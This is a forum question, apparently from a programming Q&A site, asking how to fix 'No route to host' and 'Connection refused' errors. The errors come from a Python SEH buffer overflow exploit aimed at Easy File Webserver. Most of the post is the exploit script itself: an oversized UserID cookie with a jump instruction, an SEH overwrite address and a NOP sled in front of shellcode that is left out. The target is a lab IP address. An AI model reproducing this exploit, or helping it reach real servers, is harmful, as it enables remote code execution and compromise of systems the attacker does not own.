title: How to avoid this socket.error: [Errno 113] No route to host?
body: <p>I am trying to exploit a SEH Buffer Overflow on Easy File Webserver. However, I am getting the following error:</p>
  
  <pre class="lang-none prettyprint-override"><code>root@kali:~/Desktop# python default.py
  [+]Sending the Exploit....
  Traceback (most recent call last):
    File "default.py", line 42, in &lt;module&gt;
      s.connect((host, port))
    File "/usr/lib/python2.7/socket.py", line 228, in meth
      return getattr(self._sock,name)(*args)
  socket.error: [Errno 113] No route to host
  </code></pre>
  
  <p>This is my code:</p>
  
  <pre><code>import sys, socket, struct
  
  shellcode ("Ignore the shellcode.")
  host = '192.168.40.156'
  port = 8080
  evil = "\x90" * 4 + shellcode
  buffer = "A" * 4059 + "\xEB\x06\x90\x90" + "\x34\x03\x01\x10" + evil + "D" * 578
  httpreq = (
  "GET /changeuser.ghp HTTP/1.1\r\n"
  "User-Agent: Mozilla/4.0\r\n"
  "Host:" + host + ":" + str(port) + "\r\n"
  "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"
  "Accept-Language: en-us\r\n"
  "Accept-Encoding: gzip, deflate\r\n"
  "Referer: http://" + host + "/\r\n"
  "Cookie: SESSIONID=6771; UserID=" + buffer + "; PassWD=;\r\n"
  "Conection: Keep-Alive\r\n\r\n"
  )
  
  
  print "[+]Sending the Exploit...."
  s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  s.connect((host, port))
  s.send(httpreq)
  s.close()
  
  print "Done!"
  </code></pre>
  
  <p>How can I solve this error?</p>
  
  <ul>
  <li>Both machines can ping each other.</li>
  <li>The firewall of the victim machine is off.</li>
  </ul>
  
  <p><strong>EDIT: Restarted my computer and starting to run the script. I am now getting the following error:</strong></p>
  
  <pre class="lang-none prettyprint-override"><code>[+]Sending the Exploit....
  Traceback (most recent call last):
    File "default.py", line 42, in &lt;module&gt;
      s.connect((host, port))
    File "/usr/lib/python2.7/socket.py", line 228, in meth
      return getattr(self._sock,name)(*args)
  socket.error: [Errno 111] Connection refused
  </code></pre>